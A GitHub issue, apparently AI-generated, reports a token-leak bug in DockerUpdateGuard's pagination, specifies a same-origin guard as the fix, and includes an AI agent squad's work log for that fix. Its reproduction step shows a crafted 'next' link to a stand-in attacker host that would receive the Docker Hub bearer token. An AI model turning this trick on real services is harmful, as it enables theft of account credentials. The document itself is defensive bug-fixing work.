Skip to content

[BUG] Pagination links are followed to any host, sending the Docker Hub bearer token along #264

Closed

Description

@LarsLaskowski

Summary

Three paginated calls follow the "next page" link exactly as the remote side returns it, to any scheme, host and port: the Docker Hub web API (next in the JSON body), the generic OCI tag listing (Link: <…>; rel="next" header) and Docker Scout (next in the JSON body). Docker Hub and Docker Scout attach the Docker Hub bearer token, a JWT obtained by logging in with the configured PAT, to every page request. A malicious or compromised upstream, a misconfigured proxy, or anyone who can tamper with a response can redirect pagination to an attacker-controlled host and harvest a token that acts on the operator's Docker Hub account. It also lets a registry steer DockerUpdateGuard into requests against arbitrary (including internal) hosts.

Area

Current behavior

Docker Hub web API: src/DockerUpdateGuard/DockerHub/DockerHubClient.cs

  • GetRepositoriesAsync (account discovery) sets requestUri = TryGetString(jsonDocument.RootElement, "next"); (:1117); GetTagsAsync does the same (:1285-1290).
  • Each page goes through SendGetAsync (:831-842), which calls ApplyAuthenticationAsync (:873-904) and sets Authorization: Bearer <Docker Hub JWT> whenever DockerHub:Pat is set. new HttpRequestMessage(HttpMethod.Get, relativeUri) with an absolute URI ignores the client's BaseAddress, so the request (and the token) goes to whatever host next names.

Docker Scout: src/DockerUpdateGuard/Vulnerabilities/DockerScoutVulnerabilityProvider.cs

  • FetchVulnerabilitiesAsync starts at DockerScoutBaseUrl (:302-305), then uses nextUrl = scoutResponse?.Next; (:348) unchecked. Every page sets Authorization: Bearer <jwtToken> (:319-321), where jwtToken is the token returned by the Docker Hub login with user name and PAT. The 50-page cap (MaxVulnerabilityPages) only limits the count, not the target.

Generic OCI registries: src/DockerUpdateGuard/Images/OciRegistryClient.cs

  • GetNextTagsUri (:641-672) returns any absolute link target as is (:658-661); GetTagsAsync follows it (:1305) through SendRegistryRequestAsync.
  • Registry tokens are cached per requestUri.Authority and repository (GetTokenCacheKey, :526-529), so the original registry's token is not attached to a foreign host. But the request still goes to the foreign host, a 401 there triggers an anonymous token request to the realm that host names, and the tag names it returns are inspected as if they came from the original registry.

Reproduction (Docker Hub, account discovery): configure DockerHub:UserName and DockerHub:Pat; let the first GET v2/repositories/<user>/?page_size=100 response carry "next": "https://attacker.example/collect" (for example via a test HttpMessageHandler, or a man-in-the-middle proxy that the operator trusts). The next request goes to https://attacker.example/collect with Authorization: Bearer <Docker Hub JWT>. The same works for GetTagsAsync and for Docker Scout with "next" in the vulnerabilities response.

Expected behavior

Decision (product manager): pagination follows only links on the same origin as the original request, that is the same scheme, host and port (host compared case-insensitively, default ports normalized), or as the configured base URL of the integration. Otherwise pagination stops and the call reports failed. Credentials are never sent to another host.

  • Origin per call:
    • Docker Hub web API: the origin of the client's base address (DockerHub:ApiBaseUrl; see the related issue on DockerHub:Registry).
    • Docker Scout: the origin of Vulnerabilities:DockerScoutBaseUrl.
    • OCI registry: the origin of the first tag-listing request (the registry the image reference names).
  • A relative link (for example /v2/<repo>/tags/list?n=100&last=x, which the OCI spec allows) is resolved against the URI of the current request and is then subject to the same check.
  • A link on another origin, a scheme change (also https → http) or an unparseable link: no request is sent, pagination stops, and the call answers ExternalOperationResult.Failed with a message naming the call, the repository/account/image, and that the next-page link pointed to a different origin. The message may name the offending host but never contains tokens, credentials or the full query string.
  • The rejection is logged as a warning, through the existing source-generated logging classes, without credentials.
  • Partial results collected before the rejection are not returned as succeeded: a truncated tag list could hide updates, and for Docker Scout a failed assessment leaves the stored findings untouched (docs/areas/vulnerabilities.md, Assessment per image version).
  • Same-origin links keep working exactly as today, including the Docker Scout 50-page cap and the bounded-listing stop conditions.

Acceptance criteria

  • DockerHubClient.GetTagsAsync and GetRepositoriesAsync stop at a next link with a different host, port or scheme, send no request to it, and return Failed; the test handler asserts that no request reached the foreign host and that no request with an Authorization header left the configured origin.
  • DockerScoutVulnerabilityProvider.GetVulnerabilitiesAsync behaves the same for a cross-origin next link and returns Failed.
  • OciRegistryClient.GetTagsAsync returns Failed for an absolute Link: rel="next" target on another origin and follows a relative link and a same-origin absolute link as before.
  • A https → http downgrade on the same host is rejected.
  • Failure messages contain no token, PAT or Authorization value (asserted in the tests).
  • Unit tests (MSTest, NSubstitute or a hand-written HttpMessageHandler stub, names per docs/UNIT_TESTS.md), for example DockerHubClientGetTagsCrossOriginNextLinkReturnsFailed, DockerHubClientGetRepositoriesCrossOriginNextLinkReturnsFailed, DockerHubClientGetTagsSameOriginNextLinkFollowsLink, DockerScoutVulnerabilityProviderCrossOriginNextLinkReturnsFailed, OciRegistryClientGetTagsCrossOriginLinkHeaderReturnsFailed, OciRegistryClientGetTagsRelativeLinkHeaderFollowsLink, and tests for the shared origin-check helper (case, default port, scheme downgrade, relative link).
  • Format, build, tests, Analyzer gate and Coverage gate from .squad/stack.md pass.
  • The area documents docs/areas/registries.md and docs/areas/vulnerabilities.md describe the new behavior and their Known gaps entries for this issue are removed.

Implementation notes

  • Put the origin check into one small internal helper (for example PaginationLinkGuard in src/DockerUpdateGuard/Infrastructure/) that takes the current request URI, the allowed origin and the raw link, and returns the resolved Uri or null. Use it in the three call sites; this keeps the rule identical and testable on its own.
  • Docker Hub: compare against the origin of _httpClient.BaseAddress (set from DockerHubClient.GetBaseUri). Docker Hub itself returns absolute https://hub.docker.com/v2/... links, so the default configuration keeps working. Pitfall: an operator who sets ApiBaseUrl to a mirror or proxy gets failed listings if the proxy does not rewrite next links to its own origin. That is intended (no credentials cross-host) and should be stated in the area document and README entry for ApiBaseUrl.
  • Docker Scout: today a relative next would throw InvalidOperationException (the client created by IHttpClientFactory.CreateClient() has no BaseAddress) and become "Docker Scout scan failed: …". Resolve relative links against the current request URI instead.
  • OCI: GetNextTagsUri already resolves relative links against CreateRegistryUri(registry, string.Empty). Note that GetTagsAsync works with NormalizeRegistry(registry), which drops the scheme and base path of an absolute registry URL; derive the allowed origin from the actual first request URI so the check matches what was really requested.
  • Do not rely on HttpClientHandler redirect behavior for this: the problem is application-level link following, not HTTP 3xx.
  • Out of scope: the realm of a WWW-Authenticate: Bearer challenge (OCI token service on another host is legitimate and is requested anonymously); HTTP redirects.
  • Must not change: integration clients answer with ExternalOperationResult<T> and never throw for expected failures (.squad/project.md, Guarantees); the PAT and tokens never appear in logs or messages (Secrets in configuration).
  • No configuration or migration impact.

Related


Generated by Claude Code

Activity

  1. LarsLaskowski commented on Oct 24, 2026

    @LarsLaskowski
    OwnerAuthor

    Squad working record

    Tier: security. Plan: specs/issue-264/plan.md (permalink to the last commit that contains it).

    Summary: One shared guard (PaginationLinkGuard) resolves each next-page link against the current request and follows it only when scheme, host and port match the allowed origin; otherwise no request is sent and the call returns failed (decision record 0004, accepted). The plan challenge found no major objection (2 minor notes), Security approved the plan and the diff, and the review needed one fix round (Docker Scout whitespace next, one documentation sentence). After the PR, one SonarQube finding (S2589) was fixed. Follow-ups: #301 (page cap), #302 (comma in Link target). Pull request: #303.

    log.md
    Date Step Member Result
    2026-10-24 09:47 1 Intake Orchestrator bug: user request (squad-issue) and label bug; issue open; branch claude/tender-dijkstra-9uouif off current main
    2026-10-24 09:58 2 Plan squad-lead tier security; plan.md + decision 0004 (Proposed); plan-check clean; follow-up issue proposed (page cap) (opus/medium · 234,123 tokens · 53 tool uses · 639 s)
    2026-10-24 10:00 2 Plan challenge squad-devils-advocate 0 major, 2 minor objections (registries.md line 28 stale claim; read DockerScoutBaseUrl once into scoutBaseUrl) (opus/medium · 62,573 tokens · 14 tool uses · 106 s)
    2026-10-24 10:01 3 Plan security review squad-security APPROVED, no blocking; 4 non-blocking notes appended verbatim as Security notes (opus/medium · 64,769 tokens · 10 tool uses · 149 s)
    2026-10-24 10:01 2 Plan Orchestrator challenge notes (2 minor) and security notes appended verbatim; no revision needed
    2026-10-24 10:05 4 Skeleton squad-dev skeleton built, Build passes (0 errors, 6 expected Sonar warnings on stubs); RH2003 pragmas around NotImplemented bodies; GetNextTagsUri kept until implement (sonnet/medium · 89,727 tokens · 9 tool uses · 228 s)
    2026-10-24 10:13 5 Tests first squad-tester 33 new test cases fail on skeleton (confirmed by orchestrator: 33 failed/480 passed); 2 deferred: OCI same-origin Link, Hub stop-condition pin (sonnet/medium · 152,837 tokens · 25 tool uses · 393 s)
    2026-10-24 10:18 6 Implement squad-dev implemented; 513+21 tests green, changed-line coverage 97.1%, Analyzer 0; deviation: extracted AppendRepositoryPage (S3776); uncovered: DockerHubClient:491, OciRegistryClient:653,661 (sonnet/medium · 138,351 tokens · 25 tool uses · 332 s)
    2026-10-24 10:21 6 Coverage squad-tester deferred tests written, uncovered lines covered; 520+21 tests green; changed-line coverage 100%, overall 84.2% (sonnet/medium · 91,741 tokens · 12 tool uses · 156 s)
    2026-10-24 10:23 7 Code check Orchestrator main merged (up to date); Format check 0/366, Analyzer gate 0 diagnostics, build 0 warn, tests 520+21 green, Coverage gate PASS (100% new, 84.2% overall), scope-check PASS, decision-check PASS; Sonar gate NOT CHECKED if no SONAR_TOKEN (left to step 11)
    2026-10-24 10:25 8 Review squad-security diff review of dd7cb3a: APPROVED, no blocking; 1 non-blocking: Scout whitespace-only next should use IsNullOrWhiteSpace like Hub/OCI (opus/medium · 51,943 tokens · 5 tool uses · 59 s)
    2026-10-24 10:26 8 Review squad-reviewer round 1 at dd7cb3a: 2 blocking (Scout whitespace next must end listing -> Dev+test; registries.md ApiBaseUrl sentence verbatim doc fix), 0 non-blocking (opus/medium · 99,464 tokens · 20 tool uses · 162 s)
    2026-10-24 10:28 8 Fix round 1 Orchestrator registries.md ApiBaseUrl sentence applied verbatim (reviewer fix)
    2026-10-24 10:29 8 Fix round 1 squad-dev Scout next link: IsNullOrWhiteSpace; build/tests green (sonnet/medium · 1,588 tokens · 2 tool uses · 109 s · continued from 6 Implement)
    2026-10-24 10:29 8 Fix round 1 squad-tester whitespace-next Scout test added; 521+21 green; coverage 100% new (sonnet/medium · 4,054 tokens · 3 tool uses · 52 s · continued from 6 Coverage)
    2026-10-24 10:31 7 Code check Orchestrator after fix round 1: Format 0/366, Analyzer 0, tests 521+21, Coverage gate PASS (100% new, 84.2%), scope/decision checks PASS; Sonar NOT CHECKED (no SONAR_TOKEN)
    2026-10-24 10:32 8 Review delta squad-reviewer delta round de30036: APPROVE, both findings resolved (opus/medium · 3,455 tokens · 3 tool uses · 22 s · continued from 8 Review)
    2026-10-24 10:33 9 PR approval squad-lead approve-pr: APPROVED; AppendRepositoryPage deviation accepted; comma split in Link header -> follow-up #302; page-cap follow-up #301; ARCHITECTURE bullet consistent (opus/medium · 62,597 tokens · 7 tool uses · 70 s)
    2026-10-24 10:42 11 Fix S2589 squad-dev Sonar S2589 on Scout loop: while(true), no behavior change; gates green (sonnet/medium · 3,046 tokens · 3 tool uses · 125 s · continued from 6 Implement)
    2026-10-24 10:42 11 Review delta squad-reviewer delta db918ce (S2589 fix): APPROVE (opus/medium · 4,390 tokens · 3 tool uses · 20 s · continued from 8 Review)
    2026-10-24 10:46 11 After the PR Orchestrator Sonar S2589 fixed; CI green (Build/Test/Analyze, Analyze csharp, CodeQL, SonarCloud) and sonar-check PASS on db918ce; mergeable; PR marked ready
    2026-10-24 10:46 12 Wrap-up Orchestrator no lessons

    Squad run metrics

    Member Model/effort Launches Tokens Tool uses Seconds
    squad-dev sonnet/medium 4 (2 continued) 232,712 39 794
    squad-devils-advocate opus/medium 1 62,573 14 106
    squad-lead opus/medium 2 296,720 60 709
    squad-reviewer opus/medium 3 (2 continued) 107,309 26 204
    squad-security opus/medium 2 116,712 15 208
    squad-tester sonnet/medium 3 (1 continued) 248,632 40 601
    Total 15 (5 continued) 1,064,658 194 2622
    Member Wall time (s) Not covered by launches (s) Gate runs
    Orchestrator 3,540 1,180 2

    Generated by Claude Code

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't workingsecuritySecurity issue

    Projects

    No projects

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions